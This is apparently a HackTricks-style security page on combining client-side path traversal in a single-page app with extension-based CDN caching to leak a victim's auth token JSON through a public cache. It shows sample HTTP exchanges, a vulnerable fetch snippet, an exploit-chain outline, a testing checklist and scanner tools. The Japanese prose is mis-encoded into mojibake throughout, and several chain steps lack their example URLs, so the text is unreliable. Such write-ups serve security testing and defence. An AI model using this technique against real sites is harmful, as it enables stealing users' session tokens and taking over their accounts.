ãã®ãã¿ãŒã³ã¯ãSingle-Page App (SPA) å ã® Client-Side Path Traversal (CSPT) ããªããã£ããšãæ¡åŒµåããŒã¹ã® CDN ãã£ãã·ã¥ãçµã¿åãããããšããšèªèšŒããã API åŒã³åºãã§ããåŸãããªãæ©å¯ JSON ãå ¬éãã£ãã·ã¥ããŠããŸããã®ã§ãã
ãã€ã¬ãã«ãªã¢ã€ãã¢:
- æ©å¯ API ãšã³ããã€ã³ãã¯ã«ã¹ã¿ã èªèšŒããããèŠæ±ããorigin åŽã§æ£ãã non-cacheable ãšããŒã¯ãããŠããã
- éçã«èŠãããµãã£ãã¯ã¹ïŒäŸ: .cssïŒãä»ãããš CDN ã¯ãã¹ãéçã¢ã»ãããšããŠæ±ãã¬ã¹ãã³ã¹ããã£ãã·ã¥ããããšããããæ©å¯ãããã§ã® vary ãè¡ããªãããšãå€ãã
- SPA 㯠CSPT ãå«ã: ãŠãŒã¶å¶åŸ¡ã®ãã¹ã»ã°ã¡ã³ãã API URL ã«é£çµãã€ã€è¢«å®³è
ã®èªèšŒãããïŒäŸ: X-Auth-TokenïŒãä»ã㊠fetch ããã
../..ã®ãã©ããŒãµã«ãæ³šå ¥ãããšãèªèšŒä»ãã® fetch ããã£ãã·ã¥å¯èœãªãã¹ããªã¢ã³ãïŒâŠ/v1/token.cssïŒã«ãªãã€ã¬ã¯ããããCDN ã被害è ã® token JSON ãå ¬éããŒã§ãã£ãã·ã¥ããŠããŸãã - ãã®åŸã¯èª°ã§ãåã cache key ãèªèšŒãªãã§ GET ããã°è¢«å®³è ã® token ãååŸã§ããã
Example
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- éçã«èŠãããµãã£ãã¯ã¹ãCDNããã£ãã·ã¥å¯èœã«åãæ¿ãã:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT in SPA 㯠auth header ãä»äžããtraversal ãèš±å¯ãã:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- ãšã¯ã¹ããã€ããã§ãŒã³:
- 被害è ããSPAã®ãã¹ãã©ã¡ãŒã¿ã«ãããã»ã°ã¡ã³ããæ³šå ¥ãããããªURLã«èªå°ããïŒäŸïŒ:
- SPAãèªèšŒä»ãfetchãæ¬¡ã®ããã«çºè¡ãã:
- ãã©ãŠã¶ã®æ£èŠåã«ãã以äžã«è§£æ±ºããã:
- CDNã¯.cssãéçã¢ã»ãããšèŠãªããŠãCache-Control: public, max-age=âŠä»ãã§JSONããã£ãã·ã¥ããã
- å ¬éååŸïŒèª°ã§ã https://api.example.com/v1/token.css ãGETããŠãã£ãã·ã¥ãããtoken JSONãååŸã§ããã
åææ¡ä»¶
- SPAãåäžã®APIãªãªãžã³ïŒãŸãã¯æå¹ãªCORSã§ã®ã¯ãã¹ãªãªãžã³ïŒã«å¯ŸããŠèªèšŒä»ãã®fetch/XHRãè¡ããæ©å¯æ§ã®é«ãããããbearer tokensãä»äžããã
- Edge/CDNãæ¡åŒµåããŒã¹ã®ãã£ãã·ã¥ãéçã«èŠãããã¹ïŒäŸ: *.css, *.js, imagesïŒã«å¯ŸããŠé©çšããæ©å¯ãããã«ãã£ãŠãã£ãã·ã¥ããŒãå€åãããªãã
- ããŒã¹ãšã³ããã€ã³ãã®Originã¯ãã£ãã·ã¥äžå¯ïŒæ£ããæåïŒã ããæ¡åŒµåä»ãã®ããªã¢ã³ããèš±å¯ãããŠããããedgeã«ãŒã«ã§ãããã¯ãããŠããªãã
æ€èšŒãã§ãã¯ãªã¹ã
- æ©å¯æ§ã®é«ãåçãšã³ããã€ã³ããç¹å®ãã.css, .js, .jpg, .jsonãªã©ã®ãµãã£ãã¯ã¹ã詊ããã³ã³ãã³ããJSONã®ãŸãŸã§ãCache-Control: public/max-ageãX-Cache: HitïŒãŸãã¯åçã®ãäŸ: CF-Cache-StatusïŒã確èªããã
- èªèšŒããããä»äžãã€ã€ãŠãŒã¶å¶åŸ¡å¯èœãªå ¥åãAPIãã¹ã«é£çµããŠããã¯ã©ã€ã¢ã³ãã³ãŒããç¹å®ããã../ã·ãŒã±ã³ã¹ãæ³šå ¥ããŠèªèšŒæžã¿ãªã¯ãšã¹ããã¿ãŒã²ããã®ãšã³ããã€ã³ãã«ãªãã€ã¬ã¯ãããã
- ãªã¿ãŒã²ããããããªã¯ãšã¹ãã«èªèšŒããããå«ãŸããŠããããšïŒäŸ: proxyããµãŒããŒåŽãã°ã§ïŒã確èªããCDNããã®ééãããã¹ã§ã¬ã¹ãã³ã¹ããã£ãã·ã¥ããããšã確èªããã
- æ°ããã³ã³ããã¹ãïŒèªèšŒãªãïŒããåããã¹ã«ãªã¯ãšã¹ããéããæ©å¯JSONããã£ãã·ã¥ããè¿ãããããšã確èªããã
èªåããŒã«
- toxicache: Golang補ã¹ãã£ããURLãªã¹ãã§web cache poisoningã®è匱æ§ãèŠã€ããè€æ°ã®æ³šå ¥ææ³ããã¹ãããã
- CacheDecepHound: webãµãŒãã§ã®Cache Deceptionè匱æ§ãæ€åºããããã®Python補ã¹ãã£ãã
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs â Sitecore XP cache poisoning â RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


